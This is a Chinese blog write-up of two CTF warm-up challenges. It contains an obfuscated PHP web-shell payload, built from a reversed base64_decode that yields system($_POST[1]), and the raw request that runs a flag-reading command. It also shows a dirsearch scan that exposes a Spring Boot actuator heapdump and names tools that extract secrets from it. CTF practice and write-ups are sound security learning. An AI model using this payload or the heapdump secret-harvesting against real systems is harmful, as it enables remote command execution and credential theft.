京麒CTF2025热身赛

(Updated: )

本来不想来看的，但是群里一直在复读，难道会很有意思？

Execute

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$a = 'edoced_46esab';
$b = strrev($a);

$d = 'c3~@#@#@lz!@dGVt';
$s = $b($d);

echo $s;
$s($_POST[1]);
$e='php';
$f='in';
$w='fo';
$g=$e.$f.$w;
$g();
?>
1
2
3
4
5
6
7
8
9
10
11
12
POST /execute.php HTTP/1.1
Host: 39.106.16.204:44099
Origin: http://39.106.16.204:44099
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: */*
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Referer: http://39.106.16.204:44099/
Accept-Encoding: gzip, deflate
Content-Length: 216

code=%3C%3Fphp%0A%24a%20%3D%20'edoced_46esab'%3B%0A%24b%20%3D%20strrev(%24a)%3B%0A%0A%24d%20%3D%20'c3~%40%23%40%23%40lz!%40dGVt'%3B%0A%24s%20%3D%20%24b(%24d)%3B%0A%0Aecho%20%24s%3B%0A%24s(%24_POST%5B1%5D)%3B%0A%3F%3E&1=tac /f*

没压力啊，直接秒了

EzLogin

没什么思路，扫描一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
└─$ dirsearch -u http://39.106.16.204:61457/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/桌面/reports/http_39.106.16.204_61457/__25-05-22_00-39-07.txt

Target: http://39.106.16.204:61457/

[00:39:07] Starting: 
[00:39:14] 400 -  435B  - /\..\..\..\..\..\..\..\..\..\etc\passwd           
[00:39:14] 404 -   96B  - /;/login                                          
[00:39:15] 400 -  435B  - /a%5c.aspx                                        
[00:39:15] 404 -  111B  - /actuator/;/auditevents                           
[00:39:15] 404 -  105B  - /actuator/;/beans
[00:39:15] 404 -  108B  - /actuator/;/auditLog
[00:39:15] 404 -  110B  - /actuator/;/conditions
[00:39:15] 200 -    2KB - /actuator
[00:39:15] 404 -  106B  - /actuator/;/caches
[00:39:15] 404 -  111B  - /actuator/;/configprops
[00:39:15] 404 -  121B  - /actuator/;/configurationMetadata
[00:39:15] 404 -  104B  - /actuator/;/dump
[00:39:15] 404 -  108B  - /actuator/;/features
[00:39:15] 404 -  106B  - /actuator/;/health
[00:39:15] 404 -  111B  - /actuator/;/healthcheck
[00:39:15] 404 -  124B  - /actuator/;/exportRegisteredServices
[00:39:15] 404 -  106B  - /actuator/;/flyway
[00:39:15] 404 -  103B  - /actuator/;/env
[00:39:15] 404 -  106B  - /actuator/;/events
[00:39:15] 404 -  108B  - /actuator/;/heapdump
[00:39:15] 404 -  109B  - /actuator/;/httptrace
[00:39:15] 404 -  104B  - /actuator/;/info
[00:39:15] 404 -  107B  - /actuator/;/jolokia
[00:39:15] 404 -  107B  - /actuator/;/logfile
[00:39:15] 404 -  116B  - /actuator/;/integrationgraph
[00:39:15] 404 -  109B  - /actuator/;/liquibase
[00:39:15] 404 -  108B  - /actuator/;/mappings
[00:39:15] 404 -  113B  - /actuator/;/loggingConfig
[00:39:15] 404 -  107B  - /actuator/;/refresh
[00:39:15] 404 -  117B  - /actuator/;/releaseAttributes
[00:39:15] 404 -  107B  - /actuator/;/loggers
[00:39:15] 404 -  107B  - /actuator/;/metrics
[00:39:15] 404 -  110B  - /actuator/;/prometheus
[00:39:15] 404 -  118B  - /actuator/;/registeredServices
[00:39:16] 404 -  113B  - /actuator/;/springWebflow
[00:39:16] 404 -  103B  - /actuator/;/sso
[00:39:16] 404 -  110B  - /actuator/;/statistics
[00:39:16] 404 -  102B  - /actuator/dump
[00:39:16] 404 -  108B  - /actuator/;/sessions
[00:39:16] 404 -  110B  - /actuator/;/threaddump
[00:39:16] 404 -  117B  - /actuator/;/resolveAttributes
[00:39:16] 404 -  114B  - /actuator/;/scheduledtasks
[00:39:16] 404 -  106B  - /actuator/;/status
[00:39:16] 404 -  108B  - /actuator/;/shutdown
[00:39:16] 404 -  119B  - /actuator/configurationMetadata
[00:39:16] 404 -  109B  - /actuator/auditevents
[00:39:16] 404 -  111B  - /actuator/;/ssoSessions
[00:39:16] 404 -  104B  - /actuator/events
[00:39:16] 404 -  106B  - /actuator/auditLog
[00:39:16] 404 -  122B  - /actuator/exportRegisteredServices
[00:39:16] 404 -  105B  - /actuator/;/trace
[00:39:16] 404 -  107B  - /actuator/httptrace
[00:39:16] 404 -  104B  - /actuator/flyway
[00:39:16] 404 -  114B  - /actuator/integrationgraph
[00:39:16] 404 -  112B  - /actuator/gateway/routes
[00:39:16] 404 -  109B  - /actuator/healthcheck
[00:39:16] 200 -   20B  - /actuator/caches
[00:39:16] 404 -  105B  - /actuator/jolokia
[00:39:16] 404 -  106B  - /actuator/features
[00:39:16] 404 -  105B  - /actuator/logfile
[00:39:16] 404 -  107B  - /actuator/liquibase
[00:39:16] 200 -    2B  - /actuator/info
[00:39:16] 404 -  115B  - /actuator/resolveAttributes
[00:39:16] 404 -  111B  - /actuator/loggingConfig
[00:39:16] 404 -  105B  - /actuator/refresh
[00:39:16] 404 -  106B  - /actuator/shutdown
[00:39:16] 404 -  106B  - /actuator/sessions
[00:39:16] 404 -  116B  - /actuator/registeredServices
[00:39:16] 404 -  108B  - /actuator/prometheus
[00:39:16] 404 -  115B  - /actuator/releaseAttributes
[00:39:16] 404 -  108B  - /actuator/management
[00:39:16] 404 -  111B  - /actuator/springWebflow
[00:39:16] 200 -    8KB - /actuator/env
[00:39:16] 404 -  104B  - /actuator/status
[00:39:16] 200 - 1018B  - /actuator/metrics
[00:39:16] 200 -   93KB - /actuator/beans
[00:39:16] 404 -  108B  - /actuator/statistics                              
[00:39:16] 404 -  103B  - /actuator/trace                                   
[00:39:16] 404 -  101B  - /actuator/sso                                     
[00:39:16] 404 -  109B  - /actuator/ssoSessions
[00:39:16] 404 -  112B  - /actuator/hystrix.stream
[00:39:16] 200 -   54B  - /actuator/scheduledtasks                          
[00:39:16] 200 -   49KB - /actuator/loggers                                 
[00:39:17] 200 -   22KB - /actuator/mappings                                
[00:39:17] 200 -  268B  - /actuator/health
[00:39:17] 200 -   99KB - /actuator/conditions                              
[00:39:17] 200 -  197KB - /actuator/threaddump                              
[00:39:17] 200 -   33MB - /actuator/heapdump                                
[00:39:18] 200 -   14KB - /actuator/configprops                             
[00:39:32] 404 -  102B  - /images/README                                    
[00:39:32] 404 -  103B  - /images/c99.php                                   
[00:39:32] 404 -  103B  - /images/Sym.php                                   
[00:39:35] 200 -   11KB - /login                                            
[00:39:35] 200 -   11KB - /login/

heapdump泄露，先把东西下载下来，随便找个工具来处理，不要strings当原始人

https://github.com/wyzxxz/heapdump_tool

https://github.com/whwlsfb/JDumpSpider 但是第一个工具并没有成功

1
2
3
java -jar heapdump_tools.jar C:\Users\baozhongqi\Desktop\heapdump2

java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump2

拿到密钥之后用工具一把锁即可，如果不成功的多点点，随便乱按都能出，除非工具错了